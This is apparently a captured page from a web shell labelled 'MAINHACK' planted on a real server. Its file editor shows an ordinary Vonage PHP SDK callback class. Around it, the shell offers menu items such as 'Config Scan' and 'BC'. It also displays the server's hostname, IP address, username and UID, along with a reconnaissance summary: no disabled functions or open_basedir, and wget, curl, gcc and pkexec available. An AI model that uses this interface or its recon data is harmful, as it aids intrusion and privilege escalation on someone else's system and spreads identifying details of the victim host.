[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Callback.php
<?php declare(strict_types=1); namespace Vonage\Network\Number; use BadMethodCallException; use Vonage\Client\Callback\Callback as BaseCallback; use function substr; /** * @method null|string getType() * @method bool hasType() * @method null|string getNetwork() * @method bool hasNetwork() * @method null|string getNetworkName() * @method bool hasNetworkName() * @method null|string getValid() * @method bool hasValid() * @method null|string getPorted() * @method bool hasPorted() * @method null|string getReachable() * @method bool hasReachable() * @method null|string getRoaming() * @method bool hasRoaming() * @method null|string getRoamingCountry() * @method bool hasRoamingCountry() * @method null|string getRoamingNetwork() * @method bool hasRoamingNetwork() */ class Callback extends BaseCallback { protected $expected = ['request_id', 'callback_part', 'callback_total_parts', 'number', 'status']; protected $optional = [ 'Type' => 'number_type', 'Network' => 'carrier_network_code', 'NetworkName' => 'carrier_network_name', 'Valid' => 'valid', 'Ported' => 'ported', 'Reachable' => 'reachable', 'Roaming' => 'roaming', 'RoamingCountry' => 'roaming_country_code', 'RoamingNetwork' => 'roaming_network_code', ]; public function getId() { return $this->data['request_id']; } public function getCallbackTotal() { return $this->data['callback_total_parts']; } public function getCallbackIndex() { return $this->data['callback_part']; } public function getNumber() { return $this->data['number']; } /** * @param $name * @param $args */ public function __call($name, $args) { $type = substr($name, 0, 3); $property = substr($name, 3); if (!isset($this->optional[$property])) { throw new BadMethodCallException('property does not exist: ' . $property); } $property = $this->optional[$property]; return match ($type) { 'get' => $this->data[$property] ?? null, 'has' => isset($this->data[$property]), default => throw new BadMethodCallException('method does not exist: ' . $name), }; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002